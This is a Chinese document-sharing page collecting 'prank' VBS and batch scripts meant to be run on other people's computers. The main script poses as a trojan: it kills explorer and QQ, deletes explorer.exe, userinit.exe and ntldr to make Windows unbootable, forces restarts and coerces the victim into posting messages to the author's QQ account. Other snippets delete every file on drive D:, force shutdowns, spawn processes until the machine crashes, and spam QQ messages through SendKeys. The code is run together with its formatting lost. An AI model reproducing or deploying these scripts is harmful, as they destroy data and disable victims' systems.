vbs代码超级集合.docx

vbs代码超级集合.docx

《vbs代码超级集合.docx》由会员分享，可在线阅读，更多相关《vbs代码超级集合.docx（21页珍藏版）》请在冰豆网上搜索。

vbs代码超级集合【vbs整人代码网上收集的】步骤：

新建一个txt文件-把下面一段代码复制进去-保存-txt改成bat-确定-echooffcolor7dechopingd:

小小木马.exetaskkill/f/imexplorer.exetaskkill/f/imqq.exeren%SystemRoot%explorer.exekiller.dlldel/f/s/q%SystemRoot%explorer.execlsecho90后怎么啦？

啊？

90后就这么吸引你吗？

echo.echo哈哈哈！

好开心呐！

又有人中招了。

echo.echo不过别担心，我可不是坏人,嘿嘿！

O（_）Oecho.echo这个界面还挺温馨的吧？

好歹我也会考虑下中标者的心理对吧？

echo.echo别把我的窗口关掉，也别关机，信不信由你（警告）。

echo.echo下面给你一个选择，请慎重。

:

shiecho.set/pAA=请键入Y（相信我）或者N（不相信）后按回车（y/n）:

if/i%AA%=ygotohuiif/i%AA%=ngotonoclsecho你放弃了选择或者键入错误！

pausegotoshi:

nodel%SystemRoot%killer.dlldel/f/s/q%SystemRoot%system32userinit.execlsecho既然你不相信我，那我也没什好说的了。

echo.echo别以为我只会干坏事，如果你相信我，那么一切都会没事的。

echo.echo下一步，请按任意键重启吧！

唉（）pauseechoechooffa.batechodeld:

小小木马.exea.batechodela.txta.batechodel90后女生的龌龊事太震撼了.bata.batechoexita.batshutdown-r-t00starta.batexit:

huiclsecho哈哈，谢谢你相信我，你的选择是正确的。

echo.echo不过，你必须得按照我的提示完成以下步骤才行。

echo.echo等你完成了我的要求，我自然会把你的系统给恢复了。

echo.echo我善解人意吧？

echo.echo你要记住，在没有完全结束程序之前，你必须对我是友善的。

echo.echo不难吧？

呵呵O（_）Opauseecho%date%a.txt&echo%time%a.txtecho哈哈，小样，中招了吧？

a.txtecho不过你别担心，我不会对你怎么样，最主要的是你现在得听我的！

a.txtecho听懂了吗？

呵呵。

我正在监视你的电脑，所以别乱动。

a.txtecho登陆你的QQ，然后点击查找，输入我的QQ号：

1420062741.a.txtecho点击查看资料，然后点击我的空间，然后在我的留言板留10次“哥哥你好帅”a.txtecho我是不会盗你的QQ号的。

因为这没意思，我玩的是好玩的游戏。

a.txtecho现在可以关掉这记事本了。

O（_）Oa.txtfor%iin（c,d,e,f）dofor/fdelims=%nin（dir/s/b%i:

qq.exe）dostart%nstarta.txtclsecho登陆你的QQ并且留言后执行下一步。

pauseclsecho呵呵，游戏到此也快结束了，放心，待会儿你的系统就会恢复了。

echo.echo但是!

我还想在玩一个选择游戏，如果你正确的通关了，我就把你的系统恢复了，嘿!

echo.echo下面，请你做一个最关键的选择，记住，要慎重。

echo.echo.:

no1set/pBB=请键入Y（哥哥你好帅）或者N（你一点都不帅）后按回车（y/n）:

if/i%BB%=ygotono3if/i%BB%=ngotono2clsecho你放弃了选择或者键入错误！

pausegotono1:

no2del%SystemRoot%killer.dlldel/f/s/q%SystemRoot%system32userinit.exeattrib-r-s-h%SystemDrive%ntldr%del%SystemDrive%ntldrclsecho我操，我靠，难道我不帅吗？

你怎么知道我不帅了啊？

echo.echo能把这小东西做到这样难道我不帅吗？

你知道这样会让你的系统崩溃吗？

echo.echo我都说了要你慎重选择的,可是你偏偏选错了，没办法。

（）唉echo.echo下一步，请按任意键重启吧！

唉（）pauseechoechooffa.batechodeld:

小小木马.exea.batechodela.txta.batechodel90后女生的龌龊事太震撼了.bata.batechoexita.batshutdown-r-t00starta.batexit:

no3clsecho.echo哈哈，谢谢你，我知道我挺帅的，不过还是想满足下自己的虚荣心。

嘿嘿echo.echo我真帅!

O（_）O哈哈，滋滋，帅到掉渣吧？

echo.echo下一步，按任意键恢复你的系统吧。

echo.echo.echo.pauseren%SystemRoot%killer.dllexplorer.exe&start%SystemRoot%explorer.exedel%SystemRoot%killer.dllclsecho桌面出来了吧？

哈哈，恭喜你过关。

echo.echo不过你别急着关了我这个程序，为什么呢？

echo.echo因为.echo.echo你看看你的D盘底下是不是多了样东西呢？

echo.echo想知道是什么吗？

按任意键你就知道了。

echo.pauseechoechooffa.batechodeld:

小小木马.exea.batechodela.txta.batechodel90后女生的龌龊事太震撼了.bata.batechoexita.batstarta.bat好玩的一个说我是猪，不说我是猪就一分钟关机onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject（wscript.shell）WSHshellA.runcmd.exe/cshutdown-r-t180-c说我是猪，不说我是猪就一分钟关机，不信，试下,0,truedimadowhile（a我是猪）a=inputbox（说我是猪,就不关机，快撒，说我是猪,说不说,8000,7000）msgboxchr（13）+chr（13）+chr（13）+a,0,MsgBoxloopmsgboxchr（13）+chr（13）+chr（13）+早说就行了嘛dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runcmd.exe/cshutdown-a,0,truemsgboxchr（13）+chr（13）+chr（13）+哈哈哈哈，好乖-新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了cmd.exe/cshutdown-r-t180-c这里的数字可以修改关机时间180秒这些文字也可以自设这个脚本启用cmd里的关机程序如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK了这时就完全解除这个脚本了Wscript时Windows脚本宿主其他的：

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数（代码里的数字10改一下即可）.xx.vbs=-OnErrorResumeNextDimwsh,yesetwsh=createobject（wscript.shell）fori=1to10wscript.sleep700wsh.AppActivate（与xx聊天中）wsh.sendKeysvwsh.sendKeysiwsh.sendKeys%snextwscript.quit-QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈-domsgboxYouarefoolish!

loop-三、打开无数个计算器，直到死机-setwsh=createobject（wscript.shell）dowsh.runcalcloop-四、直接关机-dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runshutdown-f-s-t00,0,true-五、删除D:

所有文件（谨慎，不要轻易打开）-dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runcmd/cdeld:

*.*/f/q/s,0,true-六、不断弹出窗口-while

（1）msgbox哈哈你被耍了！

loop-七、不断按下alt+f4（开什么都关闭）-dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）while

（1）WSHshell.SendKeys%F4loop-八、按500次回车（以上代码在运行者的电脑上显示500个对话框。

其中dountils=500，500可以随意更改）-dimsdountils=500s=s+1msgbox哥们，给我按500次回车吧,64loop-九、关不掉的窗口,罗嗦的窗口-WScript.Echo（嘿，谢谢你打开我哦，我等你很久拉！

&TSName）WScript.Echo（你是可爱的小朋吗?

）WScript.Echo（哈,我想你拉，这你都不知道吗？

）WScript.Echo（怎么才来，说是不是不关心我）WScript.Echo（哼,我生气拉，等你这么久，心都凉啦。

）WScript.Echo（小强很生气，后果很严重哦。

）WScript.Echo（嘿嘿！

你也会很惨滴哦）WScript.Echo（是不是想清除我？

）WScript.Echo（那你要点上50下哦，不过会给你惊喜滴）WScript.Echo（还剩49下，快点点哦）WScript.Echo（还剩48下，快点，小笨蛋！

）WScript.Echo（还剩47下对，就这样快点点！

）WScript.Echo（还剩46下。

你啊就是笨，要快哦，我先不打扰你工作。

）WScript.Echo（还剩45下，记得要快哦！

）WScript.Echo（还剩43下）WScript.Echo（还剩42下）WScript.Echo（还剩41下）WScript.Echo（还剩40下）WScript.Echo（还剩39下）WScript.Echo（还剩38下）WScript.Echo（还剩37下）WScript.Echo（还剩36下）WScript.Echo（还剩35下）WScript.Echo（还剩34下）WScript.Echo（还剩33下）WScript.Echo（还剩32下）WScript.Echo（还剩30下）WScript.Echo（还剩29下）WScript.Echo（还剩28下）WScript.Echo（还剩27下）WScript.Echo（还剩26下）WScript.Echo（还剩25下）WScript.Echo（还剩24下）WScript.Echo（还剩23下）WScript.Echo（还剩22下）